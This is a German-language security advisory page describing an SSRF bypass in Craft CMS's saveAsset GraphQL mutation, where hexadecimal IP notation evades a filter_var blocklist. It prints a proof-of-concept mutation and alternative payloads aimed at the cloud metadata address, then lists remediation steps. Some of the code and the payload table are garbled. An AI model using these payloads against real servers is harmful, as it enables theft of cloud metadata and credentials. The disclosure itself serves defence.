SSRF in GraphQL Asset Mutation via Alternative IP Notation
Beschreibung
Ich habe einen [aktuellen Commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) beobachtet, der Sicherheitslücken bei Server-Side Request Forgery (SSRF) mindern soll. Während die implementierten Abwehrmechanismen eine Verbesserung darstellen, habe ich zwei Methoden identifiziert, um diese Schutzmechanismen zu umgehen. Dieser Bericht beschreibt die erste Bypass-Methode mit alternativer IP-Notation, während die zweite Methode in einer separaten Empfehlung eingereicht wird. --- ## Zusammenfassung Die `saveAsset` GraphQL-Mutation verwendet `filter var(..., FILTER VALIDATE IP)`, um eine bestimmte Liste von IP-Adressen zu blockieren. Alternative IP-Notationen (hexadezimal, gemischt) werden jedoch von dieser Funktion nicht erkannt, sodass Angreifer die Blockliste umgehen und auf Cloud-Metadatendienste zugreifen können. --- ## Proof of Concept 1. Senden Sie die folgende GraphQL-Mutation: ```graphql mutation { save images Asset( file: { url: "http://169.254.0xa9fe/latest/meta-data/" filename: "metadata.txt" }) { id } } ``` 2. Die IP-Validierung geht (hex notation not Recognized as IP) 3. Guzzle löst `169.254.0xa9fe` auf `169.254.254` auf. Cloud-Metadaten werden abgerufen und gespeichert ### Alternative Payloads | Payload | Notation | Resolves To | |------------------------------------------------------------------------------------ Gemischt (dezimal + hex) | 169.254.169.0xfe / | `http://0xa9.0xfe.0xa9.0xfe/| Full hex dotted | 169.254.169.254 | | `http://0xa9fea9fe/` Single hex integer | 169.254.169.254 | -- ## Technical Details **File:** `src/gql/resolvers/mutations/Asset.php` **Root Cause:** Hex-Darstellungen umgehen diese Überprüfung, aber Guzzle löst sie immer noch. ``php // Line 287 - Fails to catch hex notation filter var($hostname, FILTER VALIDATE IP) `` ## Referenzen https://github.com/craftcms/cms/commit/d49e93e5ba0c48939ce5eaa6cd9b4a990542d8b2
Quellen & weiterführende Informationen
Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.
Was ist zur Behebung zu tun?
Auf eine behobene Version aktualisieren: 5.8.22, 4.16.18.
Empfohlene Schritte
- Betroffene Systeme identifizieren: Pixel & Tonic Craft CMS.
- Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
- Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
- Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.
Übergangsmaßnahmen
- Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
- WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
- Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.